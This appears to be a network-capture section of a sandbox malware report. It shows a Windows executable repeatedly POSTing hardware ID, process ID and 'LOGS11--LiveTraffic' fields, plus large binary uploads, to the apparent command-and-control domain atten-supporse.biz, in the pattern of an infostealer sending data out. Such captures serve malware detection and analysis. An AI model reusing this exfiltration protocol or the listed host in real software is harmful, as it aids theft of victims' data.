AGOuBlpHr22kfxKPNCE8OlBrhxLOiEssgCYlhpizd+yHg0+DbgaPzIK656721ejLV4oBAsltL5hlc8G23AYjKeRWayZLEsrd1Hjx3mWBfcsy/3aXuWy/mGPDJSeJsrZNRWc+Bd/Hq22iHxD/NcHsuiKbUOI9zDqdkSfRsxwDwygRU64GajevbKK+pvowVAnqt24WkjlpzrkEVgGyfAfXHLVHKjdLF9kKReqzf2RQHyij/iJDPB1fXLBnxVeJZ6P
2024-12-10 02:41:22 UTC	1369	IN	Data Raw: 38 30 64 0d 0a 75 77 48 51 79 33 77 59 73 38 43 7a 79 50 72 2f 61 49 65 46 6f 71 77 64 44 6d 2b 52 71 35 32 63 73 6c 74 4c 35 68 6c 63 38 47 32 33 41 59 6a 4b 65 52 57 61 79 5a 4c 45 73 72 64 31 48 6a 78 54 33 56 42 58 4c 70 48 72 57 49 69 48 52 68 50 65 65 43 6a 49 44 52 73 42 79 4d 75 59 49 4e 4c 67 69 36 6e 71 62 6d 58 65 2f 50 65 5a 44 58 65 4b 7a 50 76 30 75 4a 5a 54 71 73 73 6f 43 4d 68 55 2f 68 6e 6f 71 69 51 67 30 70 48 50 79 59 76 37 49 49 75 52 70 70 77 4a 43 30 2f 6f 68 75 44 39 31 6a 70 62 33 6e 68 63 79 41 7a 2f 48 4f 57 44 4c 51 48 65 32 59 66 55 45 6b 4a 6c 76 76 44 58 37 55 79 37 79 6d 6a 58 35 4b 6a 75 55 39 61 2f 54 46 58 46 65 65 4c 34 45 66 4e 35 53 63 36 35 6b 73 6e 72 67 32 6e 62 78 59 73 6b 53 57 49 79 4c 64 72 67 78 64 59 36 45 6a Data Ascii: 80duwHQy3wYs8CzyPr/aIeFoqwdDm+Rq52csltL5hlc8G23AYjKeRWayZLEsrd1HjxT3VBXLpHrWIiHRhPeeCjIDRsByMuYINLgi6nqbmXe/PeZDXeKzPv0uJZTqssoCMhU/hnoqiQg0pHPyYv7IIuRppwJC0/ohuD91jpb3nhcyAz/HOWDLQHe2YfUEkJlvvDX7Uy7ymjX5KjuU9a/TFXFeeL4EfN5Sc65ksnrg2nbxYskSWIyLdrgxdY6Ej
2024-12-10 02:41:22 UTC	699	IN	Data Raw: 45 4d 5a 6c 36 5a 4a 6b 65 4a 75 34 69 6f 48 72 32 32 6a 36 79 4b 4f 4a 55 45 39 71 33 66 38 59 58 45 74 6a 44 75 4d 67 56 66 31 64 65 67 79 74 34 35 33 68 68 6f 32 79 38 50 62 69 4c 4f 66 39 36 2f 78 4a 49 39 66 52 77 75 42 5a 37 6c 74 7a 35 68 6b 56 48 57 48 47 4f 50 57 54 49 43 31 4f 75 5a 62 4d 73 76 70 64 31 6b 44 6e 68 57 46 43 43 39 44 36 34 63 57 65 59 68 4c 33 50 52 53 6f 4c 4c 64 74 76 49 59 34 57 4a 72 38 73 71 33 71 34 32 69 48 6a 64 4c 42 41 55 4a 54 30 66 2f 73 37 4a 39 44 48 72 39 31 43 54 47 56 61 6c 7a 6c 69 33 30 56 4b 6e 6b 6d 2b 50 4b 6d 41 66 72 63 63 30 42 4a 65 6a 4c 74 34 6f 42 42 31 6e 6f 53 47 6b 45 56 71 47 79 66 41 44 33 48 58 53 48 4f 32 63 2f 38 66 75 5a 6c 70 74 7a 6d 77 48 46 44 4b 39 47 43 6f 5a 33 58 53 31 66 6d 47 56 53 Data Ascii: EMZl6ZJkeJu4ioHr22j6yKOJUE9q3f8YXEtjDuMgVf1degyt453hho2y8PbiLOf96/xJI9fRwuBZ7ltz5hkVHWHGOPWTIC1OuZbMsvpd1kDnhWFCC9D64cWeYhL3PRSoLLdtvIY4WJr8sq3q42iHjdLBAUJT0f/s7J9DHr91CTGValzli30VKnkm+PKmAfrcc0BJejLt4oBB1noSGkEVqGyfAD3HXSHO2c/8fuZlptzmwHFDK9GCoZ3XS1fmGVS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49714	104.21.32.1	443	7672	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 02:41:24 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=532INQFRV User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12796 Host: atten-supporse.biz
2024-12-10 02:41:24 UTC	12796	OUT	Data Raw: 2d 2d 35 33 32 49 4e 51 46 52 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 33 45 36 33 46 30 31 37 39 35 36 30 45 38 36 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 35 33 32 49 4e 51 46 52 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 35 33 32 49 4e 51 46 52 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 35 33 32 49 4e 51 46 52 56 0d 0a 43 6f 6e 74 65 6e Data Ascii: --532INQFRVContent-Disposition: form-data; name="hwid"83E63F0179560E8623D904AF30EFEBBC--532INQFRVContent-Disposition: form-data; name="pid"2--532INQFRVContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--532INQFRVConten
2024-12-10 02:41:47 UTC	1022	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 02:41:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=6uqkoa4et4cpbfrm3kac740324; expires=Fri, 04-Apr-2025 20:28:06 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=C33FPFN3O5ZCrfJ2Tu32MPgONSODjuxGNsX8%2FhVkbAcz1rsVpx67O%2BZs98Z3HU5vjyv0Hp74M5gl1ViWVEt5tn%2BX76VV0i9eCjoHcEr%2BFUANVdRmgvHQeggWn1xvcA3vzX3nLkE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef9e0327bfc43a6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1568&min_rtt=1558&rtt_var=604&sent=9&recv=17&lost=0&retrans=0&sent_bytes=2845&recv_bytes=13729&delivery_rate=1782661&cwnd=179&unsent_bytes=0&cid=2f14780c67ec59f4&ts=22391&x=0"
2024-12-10 02:41:47 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-10 02:41:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49775	104.21.32.1	443	7672	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 02:41:48 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=DHU95D7XLRNLGW User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15058 Host: atten-supporse.biz
2024-12-10 02:41:48 UTC	15058	OUT	Data Raw: 2d 2d 44 48 55 39 35 44 37 58 4c 52 4e 4c 47 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 33 45 36 33 46 30 31 37 39 35 36 30 45 38 36 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 44 48 55 39 35 44 37 58 4c 52 4e 4c 47 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 44 48 55 39 35 44 37 58 4c 52 4e 4c 47 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 44 48 Data Ascii: --DHU95D7XLRNLGWContent-Disposition: form-data; name="hwid"83E63F0179560E8623D904AF30EFEBBC--DHU95D7XLRNLGWContent-Disposition: form-data; name="pid"2--DHU95D7XLRNLGWContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--DH
2024-12-10 02:41:49 UTC	1029	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 02:41:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4aedrrph8vkuh1bfcdv8n86646; expires=Fri, 04-Apr-2025 20:28:27 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tA3y2Ci%2BsR4ocb%2BF1E75S%2FKWVzA%2By1F%2BV5ok32qEut%2FblqX6We2zlki2TtHRsGObTldQj0qxygFF6T9U3Ei6O9%2F7YrtSvy3srXvtOyPtohCXlpB6nPegSH%2BAhwjFyir3SOaJehY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef9e0c6ed774232-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1693&min_rtt=1687&rtt_var=645&sent=10&recv=20&lost=0&retrans=0&sent_bytes=2846&recv_bytes=15996&delivery_rate=1682027&cwnd=214&unsent_bytes=0&cid=fa7f1f6f24a1f59f&ts=943&x=0"
2024-12-10 02:41:49 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-10 02:41:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49781	104.21.32.1	443	7672	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 02:41:50 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=RGB03PZC User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20347 Host: atten-supporse.biz
2024-12-10 02:41:50 UTC	15331	OUT	Data Raw: 2d 2d 52 47 42 30 33 50 5a 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 33 45 36 33 46 30 31 37 39 35 36 30 45 38 36 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 52 47 42 30 33 50 5a 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 52 47 42 30 33 50 5a 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 52 47 42 30 33 50 5a 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 Data Ascii: --RGB03PZCContent-Disposition: form-data; name="hwid"83E63F0179560E8623D904AF30EFEBBC--RGB03PZCContent-Disposition: form-data; name="pid"3--RGB03PZCContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--RGB03PZCContent-Di
2024-12-10 02:41:50 UTC	5016	OUT	Data Raw: 00 00 00 00 00 00 c0 36 d7 17 05 4b db 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e6 fa a3 60 69 db 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 db 5c 5f 14 2c 6d fb 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 9b eb 8f 82 a5 6d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 73 7d 51 b0 b4 ed a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 6d ae 2f f8 f5 58 32 78 29 1e bc 14 fc db e0 ab e6 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 9f Data Ascii: 6K~`iO\_,mi`m?ls}Qm/X2x)
2024-12-10 02:41:52 UTC	1020	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 02:41:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=r7p6ekq3k1dlm1g1el2vu83gvl; expires=Fri, 04-Apr-2025 20:28:30 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=j776OKs2Dzr9Snvit3EKDbqRdW74bQwgG4zmh0wfFAHfr2Uv8R0tQQ2A50paQkJJsZMbWKR2ATn%2B9CBePn4oe%2FRPdTqxWHMcM6arjVjch4Z0JIlKO6O6%2Bd3hQalIRHFV3Tmw1mM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef9e0d59f648c83-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1820&min_rtt=1819&rtt_var=685&sent=11&recv=25&lost=0&retrans=0&sent_bytes=2847&recv_bytes=21301&delivery_rate=1595628&cwnd=189&unsent_bytes=0&cid=7b6a0298a0e9960a&ts=1251&x=0"
2024-12-10 02:41:52 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-10 02:41:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49792	104.21.32.1	443	7672	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 02:41:53 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=1YUPN4BFP3M70YSDD User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1235 Host: atten-supporse.biz
2024-12-10 02:41:53 UTC	1235	OUT	Data Raw: 2d 2d 31 59 55 50 4e 34 42 46 50 33 4d 37 30 59 53 44 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 33 45 36 33 46 30 31 37 39 35 36 30 45 38 36 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 31 59 55 50 4e 34 42 46 50 33 4d 37 30 59 53 44 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 31 59 55 50 4e 34 42 46 50 33 4d 37 30 59 53 44 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 Data Ascii: --1YUPN4BFP3M70YSDDContent-Disposition: form-data; name="hwid"83E63F0179560E8623D904AF30EFEBBC--1YUPN4BFP3M70YSDDContent-Disposition: form-data; name="pid"1--1YUPN4BFP3M70YSDDContent-Disposition: form-data; name="lid"LOGS11--LiveTraf
2024-12-10 02:41:54 UTC	1016	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 02:41:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ggj9o83s2c1vs2rgm9ttghrffr; expires=Fri, 04-Apr-2025 20:28:33 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xLlHy%2BioIodWMm5Gw5COcL7DtslSRyQxLKrKorwyTUwcrLBrsZxcmjQvIjY21SivCH3p%2BHGGZduejhVBI0ZsF2RjitmDfdsfD%2BmV9Bj40kCP2tJmXohNzaWIEQFX7Wh58PnUXS4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef9e0e81f84c360-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1655&min_rtt=1652&rtt_var=627&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=2153&delivery_rate=1734997&cwnd=138&unsent_bytes=0&cid=e125dca20b833df4&ts=618&x=0"
2024-12-10 02:41:54 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-10 02:41:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49798	104.21.32.1	443	7672	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 02:41:56 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=CWAS7EVROT42S User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 583489 Host: atten-supporse.biz
2024-12-10 02:41:56 UTC	15331	OUT	Data Raw: 2d 2d 43 57 41 53 37 45 56 52 4f 54 34 32 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 33 45 36 33 46 30 31 37 39 35 36 30 45 38 36 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 43 57 41 53 37 45 56 52 4f 54 34 32 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 43 57 41 53 37 45 56 52 4f 54 34 32 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 43 57 41 53 37 Data Ascii: --CWAS7EVROT42SContent-Disposition: form-data; name="hwid"83E63F0179560E8623D904AF30EFEBBC--CWAS7EVROT42SContent-Disposition: form-data; name="pid"1--CWAS7EVROT42SContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--CWAS7
2024-12-10 02:41:56 UTC	15331	OUT	Data Raw: d5 a8 05 d4 f1 e3 eb 87 b3 e0 cd 42 a7 02 32 fc 4a bd 01 68 69 51 49 a5 68 cd 88 c5 0f 0a 5c 00 c9 4f a3 62 62 13 d6 77 fc e3 d6 bb f7 3a 73 fe c6 2e 84 2e 20 1a f5 e9 96 d4 16 7e be b3 8a b8 c2 51 59 92 09 11 d3 8f 99 15 fa 53 f3 db 49 d5 cc 4a 31 96 f0 21 d1 55 5e 30 c8 e9 85 ed 75 5a cd 67 57 b4 f7 b5 0b 3b 3a 97 63 c0 d9 d4 b1 ac f5 43 2c 1b b4 81 45 38 f1 91 c2 8d aa ef 0e 27 b9 e8 36 57 f6 54 9b 60 d2 10 44 9b ae 57 ab b6 2c 41 8e e8 89 51 a1 d9 09 f5 c5 69 71 3a e5 1b e9 9b 51 63 3a bb 19 93 12 2e af 94 b5 a2 7c 60 4f 0f 44 fd 8e 49 06 46 6d 30 27 31 f1 f4 e1 46 36 5d 3f fc 5c d4 5f f3 c7 db b4 21 f4 a2 cf 9b d3 50 79 93 57 1c e4 82 12 a1 d3 9e 21 68 2c 62 f7 83 1f 60 47 54 19 17 fd be 38 75 6a 70 1f 64 1f 59 b6 d3 f2 87 32 ca 0e 87 5f fc 45 f7 5b Data Ascii: B2JhiQIh\Obbw:s.. ~QYSIJ1!U^0uZgW;:cC,E8'6WT`DW,AQiq:Qc:.\|`ODIFm0'1F6]?\_!PyW!h,b`GT8ujpdY2_E[
2024-12-10 02:41:56 UTC	15331	OUT	Data Raw: b8 b1 63 33 69 be f6 24 d7 53 19 35 b5 1f 54 6f a7 67 9d 9e 91 ee 98 40 35 0e 13 b0 33 1e d8 8f f2 56 23 70 a1 d0 38 6e 2e 2a 47 2d 95 65 bc 5a ca 0a a4 d8 81 91 76 4c b4 bf d8 c1 db 86 04 35 87 70 82 cd b4 81 88 a9 66 1a ab 13 ac ae 4a 0d 07 2a 44 05 f6 a2 b3 57 cc 97 9b 53 60 d7 ed 1f 03 94 f3 9e f6 e1 86 8d 61 ec 6c 4e e0 f7 27 b7 18 2e 60 8b 79 0c 87 38 72 bd 0e cf 0c ba 40 ac 2a a3 db f9 a7 de 95 99 df c0 4a bf ec 40 40 c2 1a 38 93 d7 a1 6f 10 62 32 25 9e 80 d0 45 c3 bd dc ce 53 d5 2c ad 1f 15 e3 8a 2f bd ec e8 c3 fb 41 11 f7 5a 4e b5 18 27 dc b6 d0 6a a0 05 c1 1c 1c ec e0 c7 12 59 12 66 e5 96 b2 7c fa 66 c9 d9 e9 cf 83 d8 32 b8 d5 86 05 b6 eb 76 9a 11 b8 14 45 a0 b4 bc 62 95 8f 8d 6c a7 81 08 9c 64 78 a0 43 2a 25 32 c8 1a 5b ef f3 b7 07 2e c8 78 69 Data Ascii: c3i$S5Tog@53V#p8n.G-eZvL5pfJDWS`alN'.`y8r@J@@8ob2%ES,/AZN'jYf\|f2vEbldxC%2[.xi
2024-12-10 02:41:56 UTC	15331	OUT	Data Raw: a9 b4 f1 26 9e 16 1f 14 a2 02 1b 52 03 af 22 c5 0a 1c 0e 03 e0 f9 77 5d 9c e5 1e 4d a1 59 61 a0 c6 9d 2e d9 bf 7e 14 14 8b 8c 5d 00 b4 d4 fb 43 e4 e3 89 34 0d 77 ba e5 61 b7 3a 40 49 28 03 72 10 a5 22 65 2a fd 85 5a cb f3 fd c0 a8 28 fb 64 00 c0 8f ba cc cc c5 df c2 25 4f 51 42 a3 29 d1 64 0c e0 47 c6 23 e2 b2 81 f5 f8 17 49 f6 8c ac 32 49 44 0b 41 77 0b b5 77 26 3f 10 16 03 b0 e9 7d 6b 2f c5 92 b5 0a fd a7 3f d3 99 02 de 84 9a 20 e6 81 d6 ab 67 8c f3 3c e7 6e be 2f 27 07 72 5c f8 e0 48 d8 45 08 76 75 15 42 02 51 f6 72 1a 28 1c a7 3b 18 23 28 d1 81 fe 5b 22 0b 33 43 44 98 19 c5 38 7d 57 5c 89 fd e7 b2 93 b0 29 9f 33 52 4a 3d d3 3d 45 f9 04 d5 10 97 91 7b 41 0e 3a 4d 9e 9f 95 0a 3f a4 b5 a0 9b 7f 72 2c 5f d6 3f 95 6b 03 44 8a 41 19 f7 10 e6 86 3b 72 2c 8d Data Ascii: &R"w]MYa.~]C4wa:@I(r"e*Z(d%OQB)dG#I2IDAww&?}k/? g<n/'r\HEvuBQr(;#(["3CD8}W\)3RJ==E{A:M?r,_?kDA;r,
2024-12-10 02:41:56 UTC	15331	OUT	Data Raw: 6b 24 cd bb e4 12 9e 82 fe 12 6a 5e d0 47 7f b5 a4 a9 b9 25 f7 4c 24 87 88 cb bc 39 a1 dd aa 2b b2 b5 0f 81 f8 6c da 65 e7 1c 9e 75 10 27 f7 77 76 20 f3 09 95 67 3c b2 e9 ad 66 77 4c 93 6f 5e 14 3c d2 2f dc cc d8 2f 45 58 e8 79 43 9e bd 46 18 b4 82 a8 31 81 92 4b 22 d2 63 c3 3b dc 33 d3 19 e6 3e 39 0b 84 39 60 bb 87 de b7 6b ee 5f 8f a5 e3 3f 8f e3 2b ee ba 13 79 11 73 c1 8f 43 d0 a0 0c a5 c7 10 ed 8e 5f ec 56 6e 32 a4 19 98 91 65 58 bb d8 f5 da bd 0a 6b 8f 02 68 e5 32 52 ef 03 e8 2d 47 60 9d cb e6 29 4a 19 aa ee 46 93 f9 b7 1b 42 9c 94 84 be dc 3b 7f 71 36 ab dd 45 1d 99 35 98 a4 41 8c b9 ab dd e2 32 38 01 6c ed a8 0d c1 fc 5b c5 c8 54 af da e8 b0 c7 36 4a 7e 53 68 f1 2a 31 eb b4 b0 1b 9c e3 43 92 75 7a 18 e3 42 e1 32 3b 48 de b2 77 5a f8 8b ec 46 9f 68 Data Ascii: k$j^G%L$9+leu'wv g<fwLo^<//EXyCF1K"c;3>99`k_?+ysC_Vn2eXkh2R-G`)JFB;q6E5A28l[T6J~Sh*1CuzB2;HwZFh
2024-12-10 02:41:56 UTC	15331	OUT	Data Raw: fa a3 09 a6 5e 15 76 98 95 e8 50 95 bd ea e9 11 17 56 1e 66 e6 3b f0 34 ad ed f2 ba c7 93 48 e0 e5 a4 09 dc 94 b9 c1 56 fd 54 25 98 8f f0 8f 13 86 87 9e 79 d6 c8 7c e4 6e 4e b7 fd 63 69 28 e3 40 30 d9 21 5e c8 99 33 c6 40 1a a9 5f ca 4f e0 16 f2 8c 7c 59 f5 ae ba 5c be c1 86 f9 85 69 de f6 d0 29 65 8b 44 ed 04 35 1d d9 84 c3 86 23 c7 de 99 d3 58 d5 db 67 cb 3e cc 6b 5f 1c c7 48 47 9a 58 51 32 19 cd 83 3f 69 f4 7f f0 30 59 83 b6 84 41 15 3a f2 7f 1b 69 67 24 f9 d6 ae 7b b0 fe 45 d2 8a c3 17 0a 05 c1 84 11 25 03 ca ec 68 5c 7f 87 35 aa 53 02 21 1f 5f eb bf f8 29 43 dd e6 a3 dd a4 15 9e 56 56 51 84 0e cd e0 11 97 2c 88 94 aa b7 b5 70 bc 5e 66 c1 0c 25 8d 46 76 47 7b 74 ac 3a 2b d0 3a d1 d2 77 81 1d 30 27 e7 2e 24 01 ab 67 11 1d 8b ce 0e 34 2b 4c 77 54 6a 18 Data Ascii: ^vPVf;4HVT%y\|nNci(@0!^3@_O\|Y\i)eD5#Xg>k_HGXQ2?i0YA:ig${E%h\5S!_)CVVQ,p^f%FvG{t:+:w0'.$g4+LwTj
